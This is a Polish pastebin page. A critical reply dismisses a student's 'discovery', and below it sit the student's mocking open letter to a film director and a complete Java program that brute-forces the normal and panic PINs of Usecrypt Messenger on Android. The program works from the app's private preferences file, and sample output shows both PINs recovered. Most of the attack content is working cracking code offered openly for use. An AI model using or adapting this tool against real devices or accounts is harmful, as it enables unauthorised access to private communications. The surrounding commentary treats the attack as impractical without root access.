Facebook
From Melodic Matamata, 3 Years ago, written in Java 5.
This paste is a reply to Re: UsecryptMessengerCracker from Zatroskany o wiedzę studenta - view diff
Embed
Download Paste or View Raw
Hits: 306
  1. Nie ma co się podniecać, zgadzam się z Juzkiem i autorem następnej wklejki.  
  2.   Student, jak byś przyszedł do mnie na wykłady z taką rewelacją, dostał byś 3 za dobre chęci :))) ale tylko za dobre chęci.
  3.   Tworząc środowisko "laboratoryjne" (root, później instalka uc) do uzyskania pliku SecureSMS-Preferences.xml i załadowanie
  4.     hasła 4 znakowego składajacego się z samych liczb jest troszkę śmieszne.
  5.     Pomysł fajny ale nie realny do wykonania na prawdziwym przykładzie, gdzie wiadomo narpierw trzeba dostać się do telefonu,
  6.       poprzez przełamanie blokady w postaci pinu lub wzorka itp. (a jeszcze czasem dodatkowo zdjęcie blokady z secureboota),
  7.       później jego z rootowanie, a jak wiemy w większości sytuacji przy tym punkcie przywrócimy telfon do fabryki, czyli po danych :)))
  8.       ale nawet jak nam się to uda , to co to za rewelacja?   użyć brutala na czterocyfrowe hasło ,
  9.       każdy kumaty da tam minimum 6 znaków i to alfanumerycznie.  Oczywiście ufedem można powyciągać fizykę w większości
  10.       modeli telefonów i później sobie na spokojnie powyciągać potrzebny nam plik. Ale bardziej złożone hasło niż "1111" , t
  11.       ak jak pisał Juzek , może nam dać kilkadziesiąt lat łamania:)  A więc kochany studencie, napisałem to jak najprościej jak można
  12.       i w bardzo infantylnej formie,  żebyś ogarną, że jak gdzieś można wykorzystać brutala to nie znaczy że coś złamiesz
  13.       i odkryłeś dziurę :))))  jak pisałem "3" na zachętę, i postaraj się z takimi rewelacjami falstartów nie robić. :)))))
  14.  
  15.  
  16. /*
  17.  
  18. List otwarty do Patryka Vegi
  19.  
  20. Drogi Patryku. Ustalmy na wstepie - jestes rezyserem i znasz sie na branzy filmowej. Nie znasz sie
  21. na komputerach, sieciach ani tym bardziej kryptografii. Reklamujesz Usecrypt Messengera i niestety
  22. twoi nowi koledzy robia z Ciebie debila.
  23.  
  24. Mowisz, ze fachowcy z Mossadu zabrali telefon z Usecryptem i nie odzywali sie przez dwa miesiace. Wiesz
  25. czemu? Bo przez bite dwa miesiace nie mogli przestac sie smiac. Zlamanie zabezpieczen Usecrypt Messengera
  26. to nie zadanie dla Mossadu tylko dla mnie, studenta drugiego roku informatyki.
  27.  
  28. Patryku, nie mam dla ciebie dobrych wiadomosci. Jesli zlosliwe oprogramowanie odczyta plik
  29. /data/data/uc.messenger/shared_prefs/SecureSMS-Preferences.xml z twojego telefonu z Androidem, a to naprawde
  30. latwe gdy jest sie zlosliwym oprogramowaniem, to oba PIN-y (ten zwykly i ten paniczny) stoja otworem.
  31.  
  32. Wiem, ze ciezko bedzie Ci w to uwierzyc, wiec zalaczam program za pomoca ktorego mozna zlamac zabezpieczenia
  33. Usecrypt Messengera. Potrzebuje on do dzialania pliku SecureSMS-Preferences.xml z prywatnego katalogu Usecrypt
  34. Messengera. Uruchamiasz program z nazwa tego pliku jako parametrem, czekasz krotka chwile i dostajesz na
  35. ekranie najpierw Panic PIN a potem PIN.
  36.  
  37. Serdecznie Cie pozdrawiam
  38. Student II roku (nie napisze, ktorej uczelni)
  39.  
  40. PS: nie reklamuj wiecej komunikatorow, OK?
  41.  
  42.  
  43. ----
  44.  
  45. Do uruchomienia niniejszego programu potrzebujesz bibliotek
  46.  
  47. Google_Protocol_Buffers_support_0.5.9
  48. axolotl-java-1.4.2
  49. protobuf-java-2.5.0
  50. curve25519-java-0.2.4
  51. org.bouncycastle:bcprov-ext-jdk14:1.51
  52.  
  53. ----
  54. Przykladowe uruchomienie:
  55.  
  56. Usecrypt Messenger mega h@x0r double PIN cracker
  57. Looking for PANIC PIN, max: 9999
  58. checking 3333
  59. PANIC PIN found: 3333
  60. Looking for PIN, max: 9999
  61. checking 1111
  62. PIN found: 1111
  63.  
  64.  
  65. */
  66.  
  67. import org.bouncycastle.jce.provider.BouncyCastleProvider;
  68. import org.bouncycastle.util.encoders.Base64;
  69. import org.w3c.dom.Document;
  70. import org.w3c.dom.Element;
  71. import org.w3c.dom.Node;
  72. import org.whispersystems.libaxolotl.IdentityKey;
  73. import org.whispersystems.libaxolotl.InvalidKeyException;
  74. import javax.crypto.Mac;
  75. import javax.crypto.SecretKeyFactory;
  76. import javax.crypto.spec.PBEKeySpec;
  77. import javax.crypto.spec.SecretKeySpec;
  78. import javax.xml.parsers.DocumentBuilder;
  79. import javax.xml.parsers.DocumentBuilderFactory;
  80. import java.io.File;
  81. import java.security.MessageDigest;
  82. import java.security.NoSuchAlgorithmException;
  83. import java.security.Security;
  84. import java.util.Arrays;
  85.  
  86. public class UsecryptMessengerCracker {
  87.  
  88.     final int max_pin = 9999;
  89.  
  90.     int xml_passphrase_iterations= 20000;
  91.     String xml_master_secret=null;
  92.     String xml_pref_identity_public_v3=null;
  93.     String xml_panic_hash=null;
  94.     String xml_mac_salt=null;
  95.  
  96.     public static void main(String[] args) {
  97.         UsecryptMessengerCracker d = new UsecryptMessengerCracker();
  98.         d.crackUsecryptMessenger(args);
  99.     }
  100.  
  101.     public void crackUsecryptMessenger(String[] args) {
  102.         Security.addProvider(new BouncyCastleProvider());
  103.  
  104.         System.out.println("Usecrypt Messenger mega h@x0r double PIN cracker");
  105.  
  106.         if (args.length != 1){
  107.             System.out.println("You need to provide a Usecrypt Messenger XML file from Android phone as a parameter");
  108.             System.out.println("This is the one you need: /data/data/uc.messenger/shared_prefs/SecureSMS-Preferences.xml");
  109.             System.exit(-1);
  110.         }
  111.  
  112.         if (!new File(args[0]).exists()){
  113.             System.out.println("File does not exist: "+args[0]);
  114.             System.exit(-2);
  115.         }
  116.  
  117.         DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
  118.         try {
  119.             DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
  120.             Document doc = dBuilder.parse(new File(args[0]));
  121.  
  122.  
  123.             Element map = doc.getDocumentElement();
  124.             for (int i = 0; i < map.getChildNodes().getLength(); i++){
  125.                 Node n = map.getChildNodes().item(i);
  126.  
  127.                 String name = n.getNodeName();
  128.                 if (name.equals("string") && n.hasAttributes()  ){
  129.                     Node attrib = n.getAttributes().item(0);
  130.                     if (attrib.getNodeValue().equals("master_secret")){
  131.                         xml_master_secret = n.getTextContent();
  132.                     }
  133.                     if (attrib.getNodeValue().equals("pref_identity_public_v3")){
  134.                         xml_pref_identity_public_v3 = n.getTextContent();
  135.                     }
  136.                     if (attrib.getNodeValue().equals("panic_hash")){
  137.                         xml_panic_hash = n.getTextContent();
  138.                     }
  139.                     if (attrib.getNodeValue().equals("mac_salt")){
  140.                         xml_mac_salt = n.getTextContent();
  141.                     }
  142.                 }
  143.  
  144.                 if (name.equals("int") && n.hasAttributes()  ){
  145.                     Node attrib = n.getAttributes().item(0);
  146.                     if (attrib.getNodeValue().equals("passphrase_iterations")){
  147.                         String v = n.getAttributes().item(1).getTextContent();
  148.                         xml_passphrase_iterations = Integer.parseInt(v);
  149.                     }
  150.                 }
  151.             }
  152.         } catch (Exception e) {
  153.             System.out.println("Error parsing XML: "+e.toString());
  154.             System.exit(-3);
  155.         }
  156.  
  157.         if (xml_master_secret==null || xml_pref_identity_public_v3==null || xml_panic_hash==null || xml_mac_salt==null){
  158.             System.out.println("XML does not contain all required fields: ");
  159.             System.exit(-4);
  160.         }
  161.  
  162.         byte[] panic_hash_decoded = Base64.decode(xml_panic_hash);
  163.  
  164.  
  165.         String ret = findPanicPIN(max_pin, panic_hash_decoded, xml_pref_identity_public_v3);
  166.         if (ret != null){
  167.             System.out.println("PANIC PIN found: "+ret);
  168.         }else{
  169.             System.out.println("PANIC PIN not found");
  170.         }
  171.  
  172.         ret = findMasterSecret(max_pin, xml_master_secret, xml_mac_salt);
  173.         if (ret != null){
  174.             System.out.println("PIN found: "+ret);
  175.         }else{
  176.             System.out.println("PIN not found");
  177.         }
  178.     }
  179.  
  180.  
  181.     public String findPanicPIN(int max, byte[] panic_hash_decoded, String pref_identity_public_v3) {
  182.         System.out.println("Looking for PANIC PIN, max: "+max);
  183.  
  184.         for (int i=0; i<max+1; i++){
  185.             String s = String.valueOf(i);
  186.             System.out.print("checking ");
  187.             System.out.print(s);
  188.             System.out.print("\r");
  189.             if(validatePanicPIN(s, panic_hash_decoded, pref_identity_public_v3)){
  190.                 System.out.println("");
  191.                 return s;
  192.             }
  193.         }
  194.  
  195.         System.out.println("");
  196.  
  197.         return null;
  198.  
  199.     }
  200.  
  201.     public boolean validatePanicPIN(String pin, byte[] panic_hash_decoded, String pref_identity_public_v3)  {
  202.  
  203.         byte[] b2 = new byte[0];
  204.         try {
  205.             b2 = getHashFromPassphrase(new IdentityKey(Base64.decode(pref_identity_public_v3), 0).serialize(), pin);
  206.         } catch (InvalidKeyException e) {
  207.             e.printStackTrace();
  208.         }
  209.  
  210.         if (Arrays.equals(panic_hash_decoded,b2)) {
  211.             return true;
  212.         }else{
  213.             return false;
  214.         }
  215.     }
  216.  
  217.  
  218.     private static byte[] getHashFromPassphrase(byte[] var0, String var1) {
  219.         byte[] var3 = var1.getBytes();
  220.         byte[] var2 = new byte[var3.length + var0.length];
  221.         System.arraycopy(var3, 0, var2, 0, var3.length);
  222.         System.arraycopy(var0, 0, var2, var3.length, var0.length);
  223.         byte[] var01 = var2;
  224.         try {
  225.             MessageDigest var11 = MessageDigest.getInstance("SHA-256");
  226.             var11.update(var01);
  227.             var01 = var11.digest();
  228.         } catch (NoSuchAlgorithmException var21) {
  229.             var01 = null;
  230.         }
  231.  
  232.         return var01;
  233.     }
  234.  
  235.     public String findMasterSecret(int max, String master_secret, String mac_salt) {
  236.         System.out.println("Looking for PIN, max: "+max);
  237.  
  238.         byte[] master_secret_decoded = Base64.decode(master_secret);
  239.         byte[] mac_salt_decoded = Base64.decode(mac_salt);
  240.  
  241.         for (int i=0; i<max+1; i++){
  242.             String candidatePass = String.valueOf(i); // in case of alphanum passwords, try different candidates values here
  243.             System.out.print("checking ");
  244.             System.out.print(candidatePass);
  245.             System.out.print("\r");
  246.             if(true == verifyMasterPIN(candidatePass, master_secret_decoded, mac_salt_decoded, xml_passphrase_iterations)){
  247.                 System.out.println("");
  248.                 return candidatePass;
  249.             }
  250.         }
  251.         System.out.println("");
  252.         return null;
  253.     }
  254.  
  255.  
  256.     public boolean verifyMasterPIN(String pin, byte[] master_secret_decoded, byte[] mac_salt_decoded, int passphrase_iterations)  {
  257.  
  258.         try {
  259.             int var4 = passphrase_iterations;
  260.             byte[] var0 = mac_salt_decoded;
  261.             PBEKeySpec var32 = new PBEKeySpec(pin.toCharArray(), var0, var4);
  262.             SecretKeySpec var41 = new SecretKeySpec(SecretKeyFactory.getInstance("PBEWITHSHA1AND128BITAES-CBC-BC").generateSecret(var32).getEncoded(), "HmacSHA1");
  263.             Mac var31 = Mac.getInstance("HmacSHA1");
  264.             var31.init(var41);
  265.             Mac var411 = var31;
  266.             var0 = new byte[master_secret_decoded.length - var411.getMacLength()];
  267.             System.arraycopy(master_secret_decoded, 0, var0, 0, var0.length);
  268.             byte[] var5 = new byte[var411.getMacLength()];
  269.             System.arraycopy(master_secret_decoded, master_secret_decoded.length - var411.getMacLength(), var5, 0, var5.length);
  270.             if (Arrays.equals(var5, var411.doFinal(var0))) {
  271.                 return true;
  272.             } else {
  273.                 return false;
  274.             }
  275.         } catch (Exception e) {
  276.             //System.out.println(e.toString());
  277.             return false;
  278.         }
  279.  
  280.     }
  281.  
  282.  
  283. }
  284.